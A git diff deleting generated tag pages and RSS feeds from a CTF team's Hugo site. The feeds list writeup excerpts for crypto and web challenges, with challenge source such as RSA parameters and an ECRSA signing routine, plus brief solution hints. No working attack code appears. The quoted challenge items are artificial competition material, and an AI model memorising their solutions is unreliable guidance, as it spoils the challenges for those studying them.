- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

29 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/29-solves/index.xml b/public/tags/29-solves/index.xml deleted file mode 100644 index b1828e02..00000000 --- a/public/tags/29-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 29 Solves on ByteTheCookies - http://localhost:1313/tags/29-solves/ - Recent content in 29 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 15 Sep 2024 10:58:00 +0200 - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/29-solves/page/1/index.html b/public/tags/29-solves/page/1/index.html deleted file mode 100644 index ac190a6d..00000000 --- a/public/tags/29-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/29-solves/ - - - - - - diff --git a/public/tags/300-points/index.html b/public/tags/300-points/index.html deleted file mode 100644 index 1290036b..00000000 --- a/public/tags/300-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 300 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

300 Points

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/300-points/index.xml b/public/tags/300-points/index.xml deleted file mode 100644 index fc822337..00000000 --- a/public/tags/300-points/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 300 Points on ByteTheCookies - http://localhost:1313/tags/300-points/ - Recent content in 300 Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - \ No newline at end of file diff --git a/public/tags/300-points/page/1/index.html b/public/tags/300-points/page/1/index.html deleted file mode 100644 index 6d0d542c..00000000 --- a/public/tags/300-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/300-points/ - - - - - - diff --git a/public/tags/383-points/index.html b/public/tags/383-points/index.html deleted file mode 100644 index c1f4ba76..00000000 --- a/public/tags/383-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 383 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

383 Points

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/383-points/index.xml b/public/tags/383-points/index.xml deleted file mode 100644 index 4d3f4900..00000000 --- a/public/tags/383-points/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - 383 Points on ByteTheCookies - http://localhost:1313/tags/383-points/ - Recent content in 383 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/383-points/page/1/index.html b/public/tags/383-points/page/1/index.html deleted file mode 100644 index c0bac55a..00000000 --- a/public/tags/383-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/383-points/ - - - - - - diff --git a/public/tags/388-points/index.html b/public/tags/388-points/index.html deleted file mode 100644 index d35783c8..00000000 --- a/public/tags/388-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 388 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

388 Points

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/388-points/index.xml b/public/tags/388-points/index.xml deleted file mode 100644 index 20ea98d4..00000000 --- a/public/tags/388-points/index.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - - 388 Points on ByteTheCookies - http://localhost:1313/tags/388-points/ - Recent content in 388 Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:15 +0200 - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - \ No newline at end of file diff --git a/public/tags/388-points/page/1/index.html b/public/tags/388-points/page/1/index.html deleted file mode 100644 index 4cb3f530..00000000 --- a/public/tags/388-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/388-points/ - - - - - - diff --git a/public/tags/39-solves/index.html b/public/tags/39-solves/index.html deleted file mode 100644 index b265e3eb..00000000 --- a/public/tags/39-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 39 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

39 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/39-solves/index.xml b/public/tags/39-solves/index.xml deleted file mode 100644 index 051d1b84..00000000 --- a/public/tags/39-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 39 Solves on ByteTheCookies - http://localhost:1313/tags/39-solves/ - Recent content in 39 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:49:47 +0200 - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - \ No newline at end of file diff --git a/public/tags/39-solves/page/1/index.html b/public/tags/39-solves/page/1/index.html deleted file mode 100644 index e09acd3a..00000000 --- a/public/tags/39-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/39-solves/ - - - - - - diff --git a/public/tags/394-points/index.html b/public/tags/394-points/index.html deleted file mode 100644 index 9b844a3d..00000000 --- a/public/tags/394-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 394 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

394 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/394-points/index.xml b/public/tags/394-points/index.xml deleted file mode 100644 index cf0cb172..00000000 --- a/public/tags/394-points/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 394 Points on ByteTheCookies - http://localhost:1313/tags/394-points/ - Recent content in 394 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 14:41:13 +0200 - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - \ No newline at end of file diff --git a/public/tags/394-points/page/1/index.html b/public/tags/394-points/page/1/index.html deleted file mode 100644 index bbff5752..00000000 --- a/public/tags/394-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/394-points/ - - - - - - diff --git a/public/tags/4-solves/index.html b/public/tags/4-solves/index.html deleted file mode 100644 index 06e30c94..00000000 --- a/public/tags/4-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 4 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

4 Solves

- - - -
- - -
-

2025

- -
    - -
  • - ECRSA - - - 06/23 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/4-solves/index.xml b/public/tags/4-solves/index.xml deleted file mode 100644 index 8604b705..00000000 --- a/public/tags/4-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 4 Solves on ByteTheCookies - http://localhost:1313/tags/4-solves/ - Recent content in 4 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. - - - - \ No newline at end of file diff --git a/public/tags/4-solves/page/1/index.html b/public/tags/4-solves/page/1/index.html deleted file mode 100644 index 5d012d31..00000000 --- a/public/tags/4-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/4-solves/ - - - - - - diff --git a/public/tags/417-points/index.html b/public/tags/417-points/index.html deleted file mode 100644 index c513d83c..00000000 --- a/public/tags/417-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 417 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

417 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/417-points/index.xml b/public/tags/417-points/index.xml deleted file mode 100644 index e67ad0e6..00000000 --- a/public/tags/417-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 417 Points on ByteTheCookies - http://localhost:1313/tags/417-points/ - Recent content in 417 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:58:30 +0200 - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - \ No newline at end of file diff --git a/public/tags/417-points/page/1/index.html b/public/tags/417-points/page/1/index.html deleted file mode 100644 index 7faedb57..00000000 --- a/public/tags/417-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/417-points/ - - - - - - diff --git a/public/tags/428-points/index.html b/public/tags/428-points/index.html deleted file mode 100644 index 2d896b76..00000000 --- a/public/tags/428-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 428 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

428 Points

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/428-points/index.xml b/public/tags/428-points/index.xml deleted file mode 100644 index de64dc72..00000000 --- a/public/tags/428-points/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - 428 Points on ByteTheCookies - http://localhost:1313/tags/428-points/ - Recent content in 428 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 24 Mar 2025 16:25:00 +0100 - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - \ No newline at end of file diff --git a/public/tags/428-points/page/1/index.html b/public/tags/428-points/page/1/index.html deleted file mode 100644 index c81fb502..00000000 --- a/public/tags/428-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/428-points/ - - - - - - diff --git a/public/tags/431-points/index.html b/public/tags/431-points/index.html deleted file mode 100644 index 88cc9515..00000000 --- a/public/tags/431-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 431 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

431 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/431-points/index.xml b/public/tags/431-points/index.xml deleted file mode 100644 index d970f1b8..00000000 --- a/public/tags/431-points/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 431 Points on ByteTheCookies - http://localhost:1313/tags/431-points/ - Recent content in 431 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:24:02 +0200 - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - \ No newline at end of file diff --git a/public/tags/431-points/page/1/index.html b/public/tags/431-points/page/1/index.html deleted file mode 100644 index 81e81f1f..00000000 --- a/public/tags/431-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/431-points/ - - - - - - diff --git a/public/tags/44-solves/index.html b/public/tags/44-solves/index.html deleted file mode 100644 index a5b9e115..00000000 --- a/public/tags/44-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 44 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

44 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/44-solves/index.xml b/public/tags/44-solves/index.xml deleted file mode 100644 index 5eaa6a97..00000000 --- a/public/tags/44-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 44 Solves on ByteTheCookies - http://localhost:1313/tags/44-solves/ - Recent content in 44 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:58:30 +0200 - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - \ No newline at end of file diff --git a/public/tags/44-solves/page/1/index.html b/public/tags/44-solves/page/1/index.html deleted file mode 100644 index 53224fdb..00000000 --- a/public/tags/44-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/44-solves/ - - - - - - diff --git a/public/tags/460-points/index.html b/public/tags/460-points/index.html deleted file mode 100644 index 0eb9789e..00000000 --- a/public/tags/460-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 460 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

460 Points

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/460-points/index.xml b/public/tags/460-points/index.xml deleted file mode 100644 index bc091d2d..00000000 --- a/public/tags/460-points/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 460 Points on ByteTheCookies - http://localhost:1313/tags/460-points/ - Recent content in 460 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - \ No newline at end of file diff --git a/public/tags/460-points/page/1/index.html b/public/tags/460-points/page/1/index.html deleted file mode 100644 index 4b1be5db..00000000 --- a/public/tags/460-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/460-points/ - - - - - - diff --git a/public/tags/476-points/index.html b/public/tags/476-points/index.html deleted file mode 100644 index 266e7c00..00000000 --- a/public/tags/476-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 476 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

476 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/476-points/index.xml b/public/tags/476-points/index.xml deleted file mode 100644 index f5e309af..00000000 --- a/public/tags/476-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 476 Points on ByteTheCookies - http://localhost:1313/tags/476-points/ - Recent content in 476 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:49:39 +0200 - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - \ No newline at end of file diff --git a/public/tags/476-points/page/1/index.html b/public/tags/476-points/page/1/index.html deleted file mode 100644 index a2286fd9..00000000 --- a/public/tags/476-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/476-points/ - - - - - - diff --git a/public/tags/483-points/index.html b/public/tags/483-points/index.html deleted file mode 100644 index 7283c49d..00000000 --- a/public/tags/483-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 483 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

483 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/483-points/index.xml b/public/tags/483-points/index.xml deleted file mode 100644 index 9aae420d..00000000 --- a/public/tags/483-points/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 483 Points on ByteTheCookies - http://localhost:1313/tags/483-points/ - Recent content in 483 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - \ No newline at end of file diff --git a/public/tags/483-points/page/1/index.html b/public/tags/483-points/page/1/index.html deleted file mode 100644 index d16fa997..00000000 --- a/public/tags/483-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/483-points/ - - - - - - diff --git a/public/tags/491-points/index.html b/public/tags/491-points/index.html deleted file mode 100644 index 26b4cc71..00000000 --- a/public/tags/491-points/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - 491 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

491 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
